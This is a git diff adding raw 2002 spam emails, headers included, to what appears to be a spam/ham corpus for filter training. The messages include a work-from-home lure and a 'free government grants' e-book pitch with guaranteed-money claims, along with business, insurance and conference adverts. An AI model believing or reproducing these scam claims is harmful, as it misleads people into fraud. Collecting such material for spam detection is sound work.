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    + + + diff --git a/bayes/spamham/spam_2/01211.e9c2c3b1d544e8618d6f87c1871021e9 b/bayes/spamham/spam_2/01211.e9c2c3b1d544e8618d6f87c1871021e9 new file mode 100644 index 0000000..1fdf513 --- /dev/null +++ b/bayes/spamham/spam_2/01211.e9c2c3b1d544e8618d6f87c1871021e9 @@ -0,0 +1,62 @@ +From gtt45@planetinternet.be Wed Jul 31 21:06:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6E108440A8 + for ; Wed, 31 Jul 2002 16:06:07 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 21:06:07 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6VK6Ep16224; + Wed, 31 Jul 2002 21:06:14 +0100 +Received: from planetinternet.be (203186143185.ctinets.com [203.186.143.185]) + by smtp.easydns.com (Postfix) with SMTP + id 4BE4D2BADD; Wed, 31 Jul 2002 16:05:58 -0400 (EDT) +Reply-To: +Message-ID: <006d43a82bde$1282b7c8$0ee22ab4@uyuerh> +From: +To: mid2@yahoo.com +Subject: WORK FROM HOME. FREE DETAILS. +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Importance: Normal +Date: Wed, 31 Jul 2002 16:05:58 -0400 (EDT) +Content-Transfer-Encoding: 8bit + +WE NEED HELP. We are a 14 year old fortune 500 company, and we have +grown 1000%! We cannot keep up. We are looking for individuals who +want to work at home, and make a good living. + +So if you are looking to be employed from home with a career that has +vast opportunities, then go: + +http://www.lotsonet.com/opportunity + +and fill out our info form. NO EXPERIENCE REQUIRED, WE WILL TRAIN YOU. +NO COMMITTMENT IS REQUIRED BY FILLING OUT THE FORM, IT IS FOR INFO +ONLY. + +http://www.lotsonet.com/opportunity + +You want to be independent? THEN MAKE IT HAPPEN! +HAPPEN! + +SIMPLY CLICK ON THE LINK BELOW FOR FREE, NO OBLIGATED INFORMATION! +GUARANTEED! + +http://www.lotsonet.com/opportunity + + +To be removed from our link simple go to: + +http://www.lotsonet.com/opportunity/remove.html + + +7773yeFu0-048lhUU4192RRTa7-528LHHZ5390OFtY1-426ZJrY6257XgnL8-712daCw9024eVzQ8-819Sl77 + + diff --git a/bayes/spamham/spam_2/01212.216774fff566f005d1ef404eda7925e2 b/bayes/spamham/spam_2/01212.216774fff566f005d1ef404eda7925e2 new file mode 100644 index 0000000..ceb70e3 --- /dev/null +++ b/bayes/spamham/spam_2/01212.216774fff566f005d1ef404eda7925e2 @@ -0,0 +1,552 @@ +From doctda@msn.com Wed Jul 31 15:49:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 744614407C + for ; Wed, 31 Jul 2002 10:49:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 15:49:22 +0100 (IST) +Received: from msn.com ([211.156.182.45]) by dogma.slashnull.org + (8.11.6/8.11.6) with SMTP id g6VEg6228844 for ; + Wed, 31 Jul 2002 15:42:07 +0100 +Reply-To: +Message-Id: <006a83e56e0c$5852c1e8$5bb85ae3@humcbb> +From: +To: +Subject: The Government grants you $25,000! +Date: Thu, 01 Aug 2002 05:27:35 +0900 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: MIME-tools 5.503 (Entity 5.501) +Importance: Normal +Content-Type: text/html; charset="iso-8859-1" + + + + +
    +

    +  +Free Personal and Business Grants

    + +

      +

    All information g= +iven herein is strictly confidential and will not be re-distributed + for any reason other than for the specific use intended.<= +br> + To be removed from our distribution lists, please + Cl= +ick + here..
    + + + +
    +
    +

    +" Qualify for at least $25,000 in free +grants money - Guaranteed! "

    +

    + +
    +

    +Each day over One Million Dollars in Free +Government
    +Grants  is given away to people just like you for a wide
    +variety of Business And Personal Needs

    +        +Dear Grant Seeker, +
    In a moment, I'll tell you +exactly HOW & WHERE to get Grants. This MONEY has to +be given away, WHY not to YOU?
    + +
    You may be thinking, "How +can I get some of this Free Grants Money"
    + +
    Maybe you think it's impossible +to get free money?
    + +
    Let me tell you it's not +impossible! It's a fact, ordinary people and businesses all across the +United States are receiving millions of dollars from these Government and +Private Foundation's everyday.
    + +
    Who Can Apply?
    + +
    ANYONE can apply +for a Grant from 18 years old and up!
    + +
    Grants from $500.00 to $50,000.00 +are possible! GRANTS don't have to be paid back, +EVER! Claim +your slice of the FREE American Pie.
    + +
    This money is not a loan, +Trying to get money through a conventional bank can be very time consuming +and requires a lot of paperwork, only to find out that you've been denied. +These Government Agencies don't have to operate under the same stringent +requirements that banks do.
    + +
    You decide how much money +you need, as long as it's a lawful amount and meets with the Government +Agencies criteria, the money is yours to keep and never has to be repaid. +This money is non taxable & interest free.
    + +
    None of these programs require +a credit check, collateral, security deposits or co-signers, you can apply +even if you have a bankruptcy or bad credit, it doesn't matter, you as +a tax payer and U.S. citizen are entitled to this money.
    + +
    There are currently over +1,400 Federal Programs, 24,000 State Programs, 30,000 Private Foundations +and 20,000 Scholarship Programs available.
    + +
    This year over $30 Billion +Dollars In Free personal and business Government Grants Money will be given +away by Government Grants Agencies.
    + + +
      +
    + + + +
    +
    +

    +Government Personal +and Business Grants Facts:

    +Over 20 Million People Get Government +Money Every Year: +
      1,000,000 entrepreneurs get money +to start or expand a business +

      4,000,000 people get money to invest +in real estate +

      6,000,000 people get money to go +to college +

      10,000,000 people get free help and +training for a better job

    +
    + +

    +Getting Business +Grants

    + +
    Anyone thinking about going +into business for themselves, or wanting to expand an existing business +should rush for the world's largest "one-stop-money-shop" where FREE business +grants to start or expand a business is being held for you by the Federal +Government.
    + +
    It +sounds absolutely incredible that people living right here in the United +States of America wouldn't know that each year the world's largest source +of free business help delivers:
    + +
      Over $30 billion dollars in free +business grants and low-interest loans; +

      over one-half trillion dollars in +procurement contracts; and +

      over $32 billion dollars in FREE +consulting and research grants.

    + +
    With an economy that remains +unpredictable, and a need for even greater economic development on all +fronts, the federal government is more willing than it ever has been before +to give you the money you need to own your own business and become your +own boss!
    + +
    In +spite of the perception that people should not look to the government for +help, the great government give-away programs have remained so incredibly +huge that if each of the approximately 8 million businesses applied for +an equal share, they would each receive over $70,000.
    + +
    Most +people never apply for FREE Business Grants because they somehow feel it +isn't for them, feel there's too much red-tape, or simply don't know who +to contact.The fact is, however, that people from all walks of life do +receive FREE GRANTS MONEY and other benefits from the government, and you +should also.
    + +

    +Government Grants +for Personal Need

    + +
    Help to buy a new home for +low income families, repair your home, rent, mortgage payments, utility +bills, purchase a new car, groceries, childcare, fuel, general living expenses, +academic tutoring, clothing, school supplies, housing assistance, legal +services, summer camp, debts, music lessons, art lessons, any extracurricular +activities, pay bills for senior citizens, real estate taxes, medical expenses +and general welfare. If you or someone you know suffered a fire lose there +are programs available to help in replacing necessities.
    + +

    +Scholarships And +Grants For Education

    + +
    Grant Money for preschool +children and nursery school education, private, primary and secondary schools, +men and women to further their education, scholarships for athlete's, business +management, engineering, computer science, medical school, undergraduate, +graduate, professional, foreign studies and many more.
    + +

    +Here's How You +Can Get Free Grants
    +In The Shortest Time Possible

    + +
    Once you know how and where +to apply for a specific Free Grant, results are almost inevitable. The +government wants to give away this money. . . it is under congressional +mandate to do so! These funds are made available to help you, the tax payer. +All that's required from you is the proper presentation of your grant request. +That's all.
    +Announcing... +
    +

    +"The Complete +Guide To Government Grants"

    + +
    Forget just about everything +you've seen or heard about government grants. What I've done is put together +a complete blueprint for researching, locating and obtaining government +grants. "The Complete Guide To Government Grants" is the most comprehensive +tool for obtaining free grant money, and it comes in an Electronic book +
    (e-book) format, meaning you can +download and start using it minutes after you order.
    + +
    The +Complete Guide to Government Grants will provide you with access to thousands +of grant and loan sources, with step by step instructions to proposal writing +and contact procedures.
    +In the Complete Guide to Government +Grants you'll find: +
    Step by step guidelines +to applying for government grants
    + +
    Direct access to over 1,400 +grant, loan and assistance programs offered by the U.S. federal government. +All you need to do is Click & Find your program from the detailed categorized +listings
    + +
    Direct access to thousands +of resources of state specific grant programs
    + +
    Name, phone number and address +of an expert in your state that will answer your grant related questions +and help you with the grant application... free of charge
    + +
    Online directory of government +supported venture capital firms
    + +
    A unique search tool that +will allow you to generate a customized listing of recently announced grant +programs
    + +
    Government funding programs +for small businesses
    + +
    Top 100 government programs +(based on number of inquiries), discover what are the most sought after +government grants and assistant programs. Claim your slice of the FREE +American Pie
    + +
    Online Directory of federal +and state resources for government scholarships and grants for education
    + +
    Step by step guidelines +to locating grants, loans and assistant programs for starting a new business +or expanding an existing one
    + +
    How to get free small business +counseling and expert advice courtesy of the US government
    + +
    Government grants application +forms
    + +
    Direct access to thousands +of government grants programs covering: small businesses, home improvement, +home buying and homeownership, land acquisition, site preparation for housing, +health, assistance and services for the unemployed, job training, federal +employment, education, and much much more
    + +
    How to develop and write +grant proposals that get results
    + +
    ...Plus much more
    +The Complete Guide to Government +Grants is so comprehensive, it provides you with direct access to practically +every source of FREE government grants money currently available. +
    If you're an American citizen +or resident, you are entitled to free grant money ranging from $500 to +$250,000 or more. If you are Black you have already qualified for 15 programs, +being Hispanic, you qualify for many programs. Being a Christian will get +you into 20 programs, there are also many other programs available for +different faiths, Jewish, Catholic. Not having any money, will get you +into over 30 programs, 550 programs if you are unemployed, or underemployed. +The list and sources are endless.
    + +
    You Are Eligible! This money +is Absolutely Free and will be yours to use for any worthwhile purpose.
    + +
    Did you know you can apply +for as many grants as you want?
    + +
    It's true, For instance, +you could get a $65,000 grant to begin a weight loss business, get $8,800 +in tuition to become a nurse or $35,000 to open up the day-care center, +you've always dreamed of owning. And then, go out and apply for a grant +to buy a home for you and your family. And once your new business starts +doing well you could go out and get another grant for expansion of your +business. The possibilities are endless.
    + + +
      +
    + + + +
    +

    +You Must Qualify +For At Least $25,000 In Free
    +Grants Money, Or Your Money Back!

    + +
    We are so confident in our +Grants Guide that If you have not received at least $25,000 in free grant +money, or, if you are unhappy with our e-book for any reason within the +next 12 months, Just send the e-book back and we will refund your entire +payment. NO QUESTIONS ASKED!!
    + +
    If you want to order, we +insist you do so entirely at our risk. That is why the E-book comes with +a... No Risk full year Money-Back Guarantee. There is absolutely +NO RISK on your part with this 365 day guarantee. What we mean is we want +you to order without feeling you might "get taken."
    + +
    Therefore, we want you to +order this material today... read it, use it... and if for any reason you +aren't completely satisfied, you not only can cancel, you should, +for an immediate refund of your purchase price. You simply can't lose.
    + +
    Free +Bonuses
    + +
    Just to "sweeten" the deal, +I'll include the following four valuable bonuses, that you can keep +as a gift, even if you later decide not to keep the Grants Guide!
    + +
    Free Bonus #1:
    + +
    A Fully Featured Grants +Writing Tutorial Software Package
    + +
    THIS INFO ALONE IS WORTH +THOUSANDS OF DOLLARS - I GUARANTEE YOU CAN PURCHASE A GRANTS CD OR INFO +ANYWHERE, AND YOU WILL NOT RECEIVE THIS DOWNLOADABLE SOFTWARE THAT ACTUALLY +SHOWS YOU HOW TO APPLY AND WHAT TO SAY, SO THAT YOU ARE ACCEPTED FOR A +GRANT !!!
    + +
    This interactive software +tool will walk you through the grant-writing process and will teach you +everything you need to know to write competitive grants proposals.
    + +
    The program includes:
    + +
      +
      detailed information and +tips on writing grants proposals;
      + +
      how to complete a grant +application package;
      + +
      examples of good, complete +grant packages;
      + +
      a glossary of grants terms;
      + +
      resources and contacts;
      + +
      a mock grants-writing activity +where you will be able to compare your results to a successful grant application
      + +
      plus much much more
      +
    + +
    Free Bonus #2:
    + +
    The Insider Information +Report: 61 Ways To Save Money
    + +
    This valuable special report +contains insider experts tips and techniques that will help you to save +thousands of Dollars. You'll discover little known secrets and tricks to +saving money on airline fares, car rental, new and used car buying, auto +leasing, gasoline, car repairs, auto insurance, life insurance, savings +and investment, credit cards, home equity loans, home purchase, major appliances, +home heating, telephone services, food purchase, prescription drugs and +more.
    + +
    Free Bonus #3:
    + +
    The Complete Guide To +Starting Your Own Business
    + +
    A +comprehensive manual that will give you all the guidelines and tools you +need to start and succeed in a business of your own, packed with guides, +forms, worksheets and checklists. You will be amazed at how simple these +strategies and concepts are and how easy it will be for you to apply them +to your own business idea. Hundreds were sold separately at $40 each... +you get it here for free.
    + +
    Here's +just a taste of what's in the guide:
    + +
    How +to determine the feasibility of your business idea. A complete fill in +the blanks template system that will help you predict problems before they +happen and keep you from losing your shirt on dog business ideas.
    + +
    A step by step explanation +of how to develop a business plan that will make bankers, prospective partners +and investors line up at your door. Plus, a complete ready made business +plan template you can easily adapt to your exact needs.
    + +
    Discover the easiest, simplest +ways to find new products for your business that people are anxious to +buy.
    + +
    How +to make money with your new idea or invention. Secrets of making sure you +put cash in your pocket on your very first idea business venture.
    + +
    Complete, step by step instructions +on how to plan and start a new business. This is must-know must-do information; +ignore it and you stand a good chance to fail. You get specifically designed +instructions for each of the following: a service business, a retail store, +a home based business, a manufacturing company, and more.
    + +
    What nobody ever told you +about raising venture capital money. Insider secrets of attracting investors, +how to best construct your proposal, common mistakes and traps to avoid, +and much more.
    + +
    Checklist +for entering into a partnership. Keeps you from costly mistakes when forming +a partnership.
    + +
    How to select a franchise +business. A step by step guide to selecting a franchise that is best for +you.
    + +
    A complete step-by-step +organized program for cutting costs in your business. Clients of mine have +achieved an average of 28% to 35% cost reduction with this technique, and +you can too. Keep the money in your pocket with this one!
    + +
    What are the secrets behind +constructing a results driven marketing plan? I will lead you step by step +into developing a marketing plan that will drive your sales through the +roof.
    + +
    A complete step by step +guide guaranteed to help you increase your profits by up to 64%, I call +it "The Profit Planning Guide". This is a simple, practical, common sense +strategy, but amazingly enough, almost no one understands or uses it.
    + +
    Free Bonus #4:
    + +
    Guide To Home Business +Success
    + +
    This +is a fast, no-frills guide +to starting and succeeding in a home based business. Here's just a taste +of what's in the guide:
    + +
    Home +business: is it for you?
    + +
    What +are the secrets behind the people who have million dollar home based businesses? +you'll find a 24 tip list proven to turn your home business into a money +machine.
    + +
    Laws and regulations you +must be aware of to avoid legal errors.
    + +
    Planning +a home based business - Insider secrets and tips revealed for ensuring +your success in a home business.
    + +
    Fundamentals +of home business financial planning.
    + +
    Simple, +easy to copy ideas that will enhance your image - and the response you +get from your customers.
    + +
    Common +problems in starting and managing a home based  business - and how +to solve them once and for all.
    +Who I Am and Why I'm Qualified +to Give +
    You The Best Grants Advice +Available +
    I'm +the president of a leading Internet based information business. I'm also +the creator of "The Managing a Small Business CD-ROM" and the author of +five books.
    + +
    I've +been involved in obtaining grants and in small business for the past 23 +years of my life, as a business coach, a manager of a consulting firm, +a seminar leader and as the owner of five successful businesses.
    + +
    During +my career as a business coach and consultant I've helped dozens of business +owners obtain government grants, start their businesses, market, expand, +get out of troubles, sell their businesses and do practically every other +small business activity you can think of.
    + +
    The +Guide presented here contains every tip, trick, technique and strategy +I've learned during my 23 year career. You practically get my whole brain +in a form of an E-book.
    +How the Grants Guide is priced? +
    The Complete Guide To +Government Grants is normally priced at $50, but...
    + +
    ... as part of an Online +marketing test, if you purchase from this sale you pay only $19.99 (that's +75% off ...plus, you still get the FREE valuable bonuses.)
    + +
    If +you are serious about obtaining free grants money, you need this +guide. Don't delay a moment longer. Order Now !!! 
    +P.S. The Complete Guide To Government +Grants will make a huge difference. You risk nothing. The guide is not +the original price of $50, but only $19.99 (if you purchase through +this sale ) and comes with a one year money back guarantee. And you +get four valuable free bonuses which you may keep regardless. Don't delay +a moment longer, ORDER NOW !!!! +
      + +

    Shipping +and Handling is FREE since we will +email you all of this info via access to our secure website which contains +everything described above. +
    +

    +
    +

     Order +Now!!!

    + +If above link doesn't work, Click Here +
    + +

    +
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Contact us for your options. + +How does it work? Easy as 1-2-3... +1) Register on our site and select a username and password, this will allow you to track your website development project start to finish. +2) Fill out the questionnaire, this will help you to get all the materials needed for us to develop your site. It is very important to fill out all the questions. +3) We will then setup your website according to the information given to us. That's it ! + + +If you would prefer a custom solution we will be happy to create a completely custom solution for you. Contact us for a free quote. + + + + + + + +Sell Your Products On-Line +E-shop is a multi-platform e-commerce solution for Retailers, Wholesalers, or any company wanting to sell on the Internet. This e-commerce solution can be used as a business-to-business consumer solution. E-Shop will support any number of products since its data is stored in SQL tables. + + + + + +Corporate Profile +Com-Pro Systems, Inc., founded in 1990, is a successful information technology consulting firm providing products and services across several industries. Com-Pro Systems' goal is to become the leader in software development. +CSI will deliver the entire solution. By leveraging our relationships with companies like IBM, Microsoft, Compaq, AT&T, Cisco and others we bring you the best cross platform solutions to your Hardware, Software and Hosting needs. + + Copyright C 2001, Com-Pro Systems, Inc. (All rights reserved) + +--= Multipart Boundary 0731021742 +Content-Type: text/html; + charset="ISO-8859-1" +Content-Transfer-Encoding: 8bit + + + + + + + + + + +
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    +


    +
    + +
    +


    If + you prefer not to receive future news and information +on our + technology solutions, please reply to this message +with UNSUBSCRIBE + in the subject.


    2200 N.W. 102nd Ave. Suite 4
    Miami, FL + 33172
    Tel: +1 (305) 594-3474 
    Fax: +1 (305) + 594-9655
    Toll Free: +1-888-8-COM-PRO
    Web: www.comprosys.com
    e-mail: info@comprosys.com

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    How does it work? Easy as 1-2-3...
    1) + Register on our site and select a username and password, +this + will allow you to track your website development project +start + to finish.
    2) Fill out the questionnaire, this will +help + you to get all the materials needed for us to develop +your + site. It is very important to fill out all the + questions.
    3) We will then setup your website +according to + the information given to us. That's it !


    If you would prefer a +custom + solution we will be happy to create a completely custom + solution for you. Contact us for a free +quote.

      +


    +
    + +

    Sell + Your Products On-Line

    + + + +
    E-shop is a + multi-platform e-commerce solution for Retailers, + Wholesalers, or any company wanting to sell on the + Internet.  This e-commerce solution can be +used as + a business-to-business consumer solution.  +E-Shop + will support any number of products since its data +is + stored in SQL tables.
    +



    + + + + + + + + + +
    Corporate + Profile
    Com-Pro + Systems, Inc., founded in 1990, is a successful information + technology consulting firm providing products and services +across + several industries.  Com-Pro Systems' goal is to become +the + leader in software development.     + +

    CSI will deliver +the + entire solution.  By leveraging our relationships with + companies like IBM, Microsoft, Compaq, AT&T, Cisco and +others we + bring you the best cross platform solutions to your Hardware, + Software and Hosting needs.
     

    		 
    +

      + Copyright C 2001, Com-Pro Systems, Inc. (All rights + reserved)

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Wed, 31 Jul 2002 19:03:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 00:03:45 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6VN4i212571 for ; Thu, 1 Aug 2002 00:04:46 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Wed, 31 Jul 2002 19:04:22 -0400 +Subject: An Innovative Plan for Today's Market +To: +Date: Wed, 31 Jul 2002 19:04:21 -0400 +From: "IQ - National Financial Group" +Message-Id: <1aca1801c238e6$9b3dfe40$6b01a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Thread-Index: AcI40fXs//E8U3RkSdOsOMs5OSsyGw== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 31 Jul 2002 23:04:22.0000 (UTC) FILETIME=[9B5D1F00:01C238E6] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_18E22D_01C238B0.6EDF1B30" + +This is a multi-part message in MIME format. + +------=_NextPart_000_18E22D_01C238B0.6EDF1B30 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: quoted-printable + + First Year Bonus - 10% Commissions! + Guaranteed Return of Premium=09 + Convert Tax Deferred to Tax Free Benefits=0A= +Access to death +benefit for LTC benefits=0A= +72 Hour Approval (in most cases)=0A= +Free E&O +Coverage=09 +=20 + An Innovative Plan Designed for Today's Market=09 + _____ =20 + +Give your clients what they want and need: Guaranteed Death Benefits and +Long Term Care Benefits without expensive AND continuous Long Term Care +Premiums. +=20 + ? Lifetime Guarantees +? Return of Premium Guarantees for single pay plans +? Convert Tax Deferred to Tax Free Benefits (for your clients' heirs). + +Simplified Underwriting - Non-medical, no blood, no urine, no ekg. Have +your clients complete a 6 question application, fax to underwriting and +generally within 72 hours you will have status. + + _____ =20 + +Call or e-mail us Today! + 800-833-7427 +? or ? + +Please fill out the form below for more information =20 +Name: =09 +E-mail: =09 +Phone: =09 +City: State: =09 + =09 +=20 + +National Financial Group =20 + +The Future Series Convention March 2003. +Join us in Maui during PRIME SEASON - An experience you will never +forget! + +*Up to $500,000 maximum; $25,000 must remain in policy after this +benefit is exercised. **10% commission on single pay plan ages 45 - 80. +***Single Pay Plans Only. Product and certain features not available in +all states. The Future Protector Series (policy form ISWL-1, ISWL-5, +ISWL-7, ISWL-21,ISWL-25, ISWL-210) is underwritten by Monumental Life +Insurance Company. Rider costs and features vary according to state. FOR +BROKER USE ONLY. Not approved for use with the general public as +advertisement for purchase of annuity or insurance coverage. 0602ANFG21=20 + +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net =20 + +Legal Notice =20 + +------=_NextPart_000_18E22D_01C238B0.6EDF1B30 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +An Innovative Plan for Today's Market + + + + + =20 + + + =20 + + +
    =20 + + =20 + + + =20 + + + =20 + + + =20 + + + =20 + + +
    3D"First
    + 3D"Guaranteed
    =20 + + =20 + + + +
    3D"Convert
    +
    +
    + 3D"An=20 +
    =20 +
    + + Give your clients what they want and need: Guaranteed = +Death Benefits=20 + and Long Term Care Benefits without expensive AND continuous = +Long=20 + Term Care Premiums.
    +  
    + =20 + • Lifetime = +Guarantees
    + • Return of Premium Guarantees for single pay = +plans
    + • Convert Tax Deferred to Tax Free = +Benefits     (for your clients' = +heirs).
    +
    + Simplified Underwriting - Non-medical, no blood, no = +urine,=20 + no ekg. Have your clients complete a 6 question application, = +fax to=20 + underwriting and generally within 72 hours you will have = +status.
    +     =20 +
    +
    + + Call or e-mail us = +Today!
    + 3D'800-833-7427'
    + — or —
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill = +out the form below for more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +     =20 +

    3D"National

    +

    The Future Series = +Convention March 2003.
    + + Join us in Maui during PRIME SEASON - An experience you = +will never forget!

    +

    *Up to $500,000=20 + maximum; $25,000 must remain in policy after this benefit = +is exercised.=20 + **10% commission on single pay plan ages 45 - 80. = +***Single Pay=20 + Plans Only. Product and certain features not available in = +all states.=20 + The Future Protector Series (policy form ISWL-1, ISWL-5, = +ISWL-7,=20 + ISWL-21,ISWL-25, ISWL-210) is underwritten by Monumental = +Life Insurance=20 + Company. Rider costs and features vary according to state. = +FOR BROKER=20 + USE ONLY. Not approved for use with the general public as = +advertisement=20 + for purchase of annuity or insurance coverage. 0602ANFG21 = +

    +
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal Notice=20 +
    + + + +------=_NextPart_000_18E22D_01C238B0.6EDF1B30-- + + diff --git a/bayes/spamham/spam_2/01219.db22b96619e848e2c9825ebb710897fe b/bayes/spamham/spam_2/01219.db22b96619e848e2c9825ebb710897fe new file mode 100644 index 0000000..741fe1f --- /dev/null +++ b/bayes/spamham/spam_2/01219.db22b96619e848e2c9825ebb710897fe @@ -0,0 +1,81 @@ +From Clear2-1268x10@lycos.com Wed Jul 31 16:45:50 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9C39C440A8 + for ; Wed, 31 Jul 2002 11:45:50 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:45:50 +0100 (IST) +Received: from lycos.com ([211.251.141.1]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6VFhcp15440; + Wed, 31 Jul 2002 16:43:48 +0100 +Reply-To: "Mike" +Message-ID: <027a01b58d0e$7825a7a6$8ab33ee3@goxtst> +From: "Mike" +To: +Cc: +Subject: Line? +Date: Wed, 31 Jul 2002 19:17:12 -0400 +MiME-Version: 1.0 +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2615.200 +Importance: Normal +Content-Type: text/html; charset="iso-8859-1" + + + +Cell Booster Antenna + + + +
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    + + + + diff --git a/bayes/spamham/spam_2/01223.0321f73febcffd82fcf12b36cce2c6c9 b/bayes/spamham/spam_2/01223.0321f73febcffd82fcf12b36cce2c6c9 new file mode 100644 index 0000000..ee653d3 --- /dev/null +++ b/bayes/spamham/spam_2/01223.0321f73febcffd82fcf12b36cce2c6c9 @@ -0,0 +1,76 @@ +From cwc02@mail.hz.zj.cn Thu Aug 1 23:40:28 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4269440F0 + for ; Thu, 1 Aug 2002 18:40:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 23:40:27 +0100 (IST) +Received: from rs04.singnet.com.sg (rs04.singnet.com.sg [165.21.101.94]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g71McZ232243 for + ; Thu, 1 Aug 2002 23:38:36 +0100 +Received: from mail.hz.zj.cn (netpc14.ie.cuhk.edu.hk [137.189.96.44] (may + be forged)) by rs04.singnet.com.sg (8.12.3/8.12.3) with ESMTP id + g715JGX4021585; Thu, 1 Aug 2002 13:19:16 +0800 +Message-Id: <3D48C4C1.CE967A1E@mail.hz.zj.cn> +Date: Thu, 01 Aug 2002 13:18:57 +0800 +From: CWC02-HZ Office +X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) +X-Accept-Language: en +MIME-Version: 1.0 +Subject: ADV: 2002 China Wireless Congress - Oct. 15-17, 2002 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +To: undisclosed-recipients:; + +[Sorry for Multiple Copies of This Message. Welcome to CWC02 in China] + +Dear wireless colleagues: + +By the end of 2002, China will have over 200 MLN mobile users. From late +of 2003, China will issue 3G licenses and full 3G services will be +available in 2005. Currently, there is still over 5 MLN new mobile users +coming every month, and the mobile revenue is increasing over 25% every +year. + +China is so far the world's largest wireless market, and the most +potential business partner in the coming several years. To get involved +in this huge business, 2002 China Wireless Congress is the best platform +which focuses on the following issues: + +1. The New Business Models of China's Mobile Communications +2. Infrastructure of Nationwide Wireless Access Systems +3. Convergence of Wireless Local Access and Mobile Networks +4. Evolution of 2G networks to 2.5G and 3G networks +5. Emerging R&D on 4G Mobile and 4G Mobile Forum +6. Investment Strategies towards 2008 OlympiTek +7. New Spectrum Management and Sharing Policies +8. All-Hands Meeting and Marketing Events + +In addition, this congress will be together with the famous West-Lake +Expo'2002, and really a best combination of business and leisure in +Hangzhou - the most beautiful city of China. + +To join this professional gathering, please visit the website at: +http://delson.org/cwc02 or http://china.wirelesscongress.com + +This 2002 China Wireless Congress will be very busy, please register +ASAP before the door is closed. For more information about this congress +or about Hangzhou,etc, please also check the website. + +On behalf of the congress committee, welcome to Hangzhou, the garden of +Shanghai ! + +Thank you. + +Hangzhou Office of CWC'2002 +http://delson.org/cwc02 +http://china.wirelesscongress.com + +[sorry for copy of this message, removal is automatically. This is for +conference information only, not for commercial sale. Thanks a lot!] + + + + diff --git a/bayes/spamham/spam_2/01224.5ec7daa5c1c540ce6be17e1afbef2a86 b/bayes/spamham/spam_2/01224.5ec7daa5c1c540ce6be17e1afbef2a86 new file mode 100644 index 0000000..abbac16 --- /dev/null +++ b/bayes/spamham/spam_2/01224.5ec7daa5c1c540ce6be17e1afbef2a86 @@ -0,0 +1,178 @@ +From miy@aol.com Thu Aug 1 09:23:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B977E440C8 + for ; Thu, 1 Aug 2002 04:23:15 -0400 (EDT) +Received: from mandark.labs.netnoteinc.com [213.105.180.140] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 01 Aug 2002 09:23:15 +0100 (IST) +Received: from messagerie.togocel.tg ([209.88.242.130]) + by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g718Lnp18197; + Thu, 1 Aug 2002 09:21:51 +0100 +Date: Thu, 1 Aug 2002 09:21:51 +0100 +Message-Id: <200208010821.g718Lnp18197@mandark.labs.netnoteinc.com> +Received: from aol.com (mx4.platinumdns.net [64.200.138.137]) by messagerie.togocel.tg 